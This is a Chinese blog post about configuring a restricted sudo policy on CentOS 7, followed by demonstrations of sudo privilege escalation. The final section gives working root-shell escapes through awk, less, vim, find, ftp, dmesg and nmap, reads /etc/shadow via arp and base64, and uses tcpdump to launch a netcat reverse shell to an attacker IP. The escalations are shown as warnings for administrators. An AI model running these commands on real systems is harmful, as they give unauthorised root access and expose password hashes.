freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CentOS 7系统配置sudo策略(附sudo提权演示)
2020-07-15 23:27:35

一、操作目的和应用场景

某些应用系统维护人员为了工作方便,将普通用户设置为不需要输入口令即可以root身份执行任何命令。这是非常不安全的,因为一旦攻击者获得了普通账户的权限,即可在系统中执行任意指令。因此有必要制定适合于维护人员的sudo策略,使维护人员可以通过受到限制的超级用户权限处理业务上的问题,同时又不至于被攻击者利用从而对系统产生很大的伤害。下面是我的一点思考,与大家分享。

 

二、平台及工具版本

操作系统:CentOS 7

 

三、操作步骤

(一)运维人员需要执行的命令

初步将运维人员可能需要以root身份执行的命令归纳如下:

1、 服务管理

/usr/bin/systemctl start

/usr/bin/systemctl stop

/usr/bin/systemctl reload

/usr/bin/systemctl restart

/usr/bin/systemctl status

/usr/bin/systemctl enable

/usr/bin/systemctl disable

 

2、 进程管理

/usr/bin/nice

/usr/bin/kill

/usr/bin/killall

/usr/bin/ps

/usr/bin/top

 

3、 网络管理

/usr/sbin/route

/usr/sbin/ifconfig

/usr/bin/netstat

 

4、 存储管理

/usr/sbin/fdisk

/usr/sbin/sfdisk

/usr/sbin/parted

/usr/sbin/partprobe

/usr/bin/mount

/usr/bin/umount

 

5、 关闭系统

/usr/sbin/reboot

/usr/sbin/halt

/usr/sbin/poweroff

 

6、 软件管理

/usr/bin/rpm

/usr/bin/yum

/usr/local/bin/pip

/usr/local/bin/pip3

 

7、 文件管理

/usr/bin/ls

/usr/bin/cat

 

8、 其它

维护人员需要执行的其它命令。

 

(二)visudo配置

visudo  //管理员身份运行,加入下面的内容

 

1、 创建用户别名

User_Alias USERS = user1, user2

 

2、 创建命令别名

Cmnd_Alias SERVICES = /usr/sbin/service, /usr/sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/systemctl disable *

 

Cmnd_Alias PROCESS = /usr/bin/nice, /usr/bin/kill, /usr/bin/killall, /usr/bin/ps, /usr/bin/top

 

Cmnd_Alias NETWORKING = /usr/sbin/route, /usr/sbin/ifconfig, /usr/bin/netstat

 

Cmnd_Alias STORAGE = /usr/sbin/fdisk, /usr/sbin/sfdisk, /usr/sbin/parted, /usr/sbin/partprobe, /usr/bin/mount, /usr/bin/umount

 

Cmnd_Alias SHUTDOWN = /usr/sbin/reboot, /usr/sbin/halt, /usr/sbin/poweroff, /usr/sbin/shutdown

 

Cmnd_Alias SOFTWARE = /usr/bin/rpm, /usr/bin/yum, /usr/local/bin/pip, /usr/local/bin/pip3

 

Cmnd_Alias FILE = /usr/bin/ls, /usr/bin/cat

 

3、 创建sudo规则

USERS ALL = (root) NOPASSWD: SERVICES, PROCESS, NETWORKING, STORAGE, SHUTDOWN, SOFTWARE, FILE

 

保存退出

 

(三)测试

1、 重启服务

 

2、 杀死进程

 

 

3、 配置网络

 

4、 管理存储

 

5、 关闭系统

 

6、 管理软件

 

7、 文件系统

 

以上的操作中,普通用户无法执行的命令,通过sudo都可以执行。在这个例子中sudo权限允许的范围可能过大,朋友们根据工作中的实际需要修改命令别名中的命令即可。​​

 

(四)实际的例子

例如编写一个远程巡检脚本,该脚本以普通用户的身份运行,但是需要执行目标系统中的某些受限命令,访问一些受限文件。这时只需要在目标系统运行visudo,加入相关的指令即可。

visudo  //运行visudo命令,编辑/etc/sudoers文件

//创建命令别名:

Cmnd_Alias SECMAN_LOGON = /usr/bin/cat /var/log/secure*, /usr/bin/lastb, /usr/bin/journalctl _SYSTEMD_UNIT=sshd.service

Cmnd_Alias SECMAN_AUTORUN = /usr/bin/crontab -uroot -l

Cmnd_Alias SECMAN_SYSCONFIG = /usr/sbin/iptables -L -t nat -n, /usr/sbin/iptables -L -t filter -n

Cmnd_Alias SECMAN_LOG = /usr/bin/cat /root/.bash_history

Cmnd_Alias SECMAN_PROCESS = /usr/bin/sar 1 3

 

//创建sudo规则

secman ALL = (root) NOPASSWD: SECMAN_LOGON, SECMAN_AUTORUN, SECMAN_SYSCONFIG, SECMAN_LOG, SECMAN_PROCESS

保存退出

该远程巡检脚本中运行的命令很多,但visudo中无需加入那些普通用户身份就能得到正常结果的命令,如/usr/bin/last、cat /etc/passwd等,只将那些不使用root身份就得不到正确结果的命令加入即可。

 

(五)sudo提权演示

下面向大家演示一些由sudo造成提权的例子,让大家了解sudo存在的风险。可能造成sudo提权的程序包括系统自带的命令、第三方软件,以及用户编写的脚本等。大家注意,在配置sudo策略的时候不要将能够造成提权的命令放在允许执行的命令列表中。

1、 awk提权

(1) 允许用户通过sudo执行awk

编辑sudoers,允许user1用户使用sudo执行/usr/bin/awk

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/awk

保存退出

 

(2) 提权

sudo awk 'BEGIN {system("/bin/bash")}'

提权成功,得到了root shell。

 

2、 less提权

(1) 将less加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/less

保存退出

 

(2) 提权

sudo less /etc/passwd

输入!/bin/bash

回车后得到root权限:

 

提权成功,得到了root shell。

 

3、 vim提权

(1) 将less加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/vim

保存退出

 

(2) 提权

sudo vim -c '!bash'

提权成功,得到了root shell。

 

4、 find提权

(1) 将find加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/find

保存退出

 

(2) 提权

sudo find /usr/bin -name ls -exec /bin/bash \;

提权成功,得到了root shell。

 

5、 tcpdump提权

(1) 创建一个可执行脚本

touch /tmp/test.sh

#!/bin/bash

nc -e /bin/bash 192.168.1.6 8080

192.168.1.6是攻击者的IP。保存退出

chmod +x /tmp/test.sh

 

(2) 将tcpdump加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/tcpdump

保存退出

 

(3) 攻击者使用netcat监听自己机器上的8080端口

nc -l -p 8080

 

(4) 提权

tcpdump中有两个参数:-z和-Z。前者用来执行一个脚本,后者用来指定tcpdump以哪个用户身份运行。当可以通过sudo执行时,可以指定以root用户运行指定的脚本,从而达到提权的目的。

sudo tcpdump -ln -i enp0s3 -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root

脚本很快结束退出,但是在攻击者的机器上已经得到了一个反向shell:

root@kali:~/# nc -l -p 8080

提权成功,得到了root shell。

 

6、 ftp提权

(1) 允许用户通过sudo执行ftp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/ftp

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/ftp

保存退出

 

(2) 提权

sudo ftp

!/bin/bash

提权成功,得到了root权限。

 

7、 dmesg提权

(1) 允许用户通过sudo执行cp

编辑sudoers,允许user1用户使用sudo执行/usr/bin/dmesg

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/dmesg

保存退出

 

(2) 提权

sudo dmesg -H

输入!/bin/bash

 

提权成功,得到了root shell。

 

8、 nmap提权

(1) 将nmap加入sudo配置文件

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/nmap

保存退出

 

(2) 提权

使用nse脚本提权,普通用户进行下面的操作:

echo "os.execute('/bin/bash')" > /tmp/shell.nse

sudo nmap --script=/tmp/shell.nse 127.0.0.1

 

提权成功,得到了root shell。

 

9、 arp提权

(1) 允许用户通过sudo执行arp

编辑sudoers,允许user1用户使用sudo执行/usr/sbin/arp

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/sbin/arp

保存退出

 

(2) 提权

sudo arp -v -f /etc/shadow

提权成功,读取了/etc/shadow。

 

10、 base64提权

(1) 允许用户通过sudo执行base64

编辑sudoers,允许user1用户使用sudo执行/usr/bin/base64

visudo  //编辑配置文件,加入下面的行

user1 ALL=/usr/bin/base64

保存退出

 

(2) 提权

sudo base64 "/etc/shadow" | base64 --decode

提权成功,读取了/etc/shadow。

 

# 提权 # linux安全 # sudo # CentOS 7
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者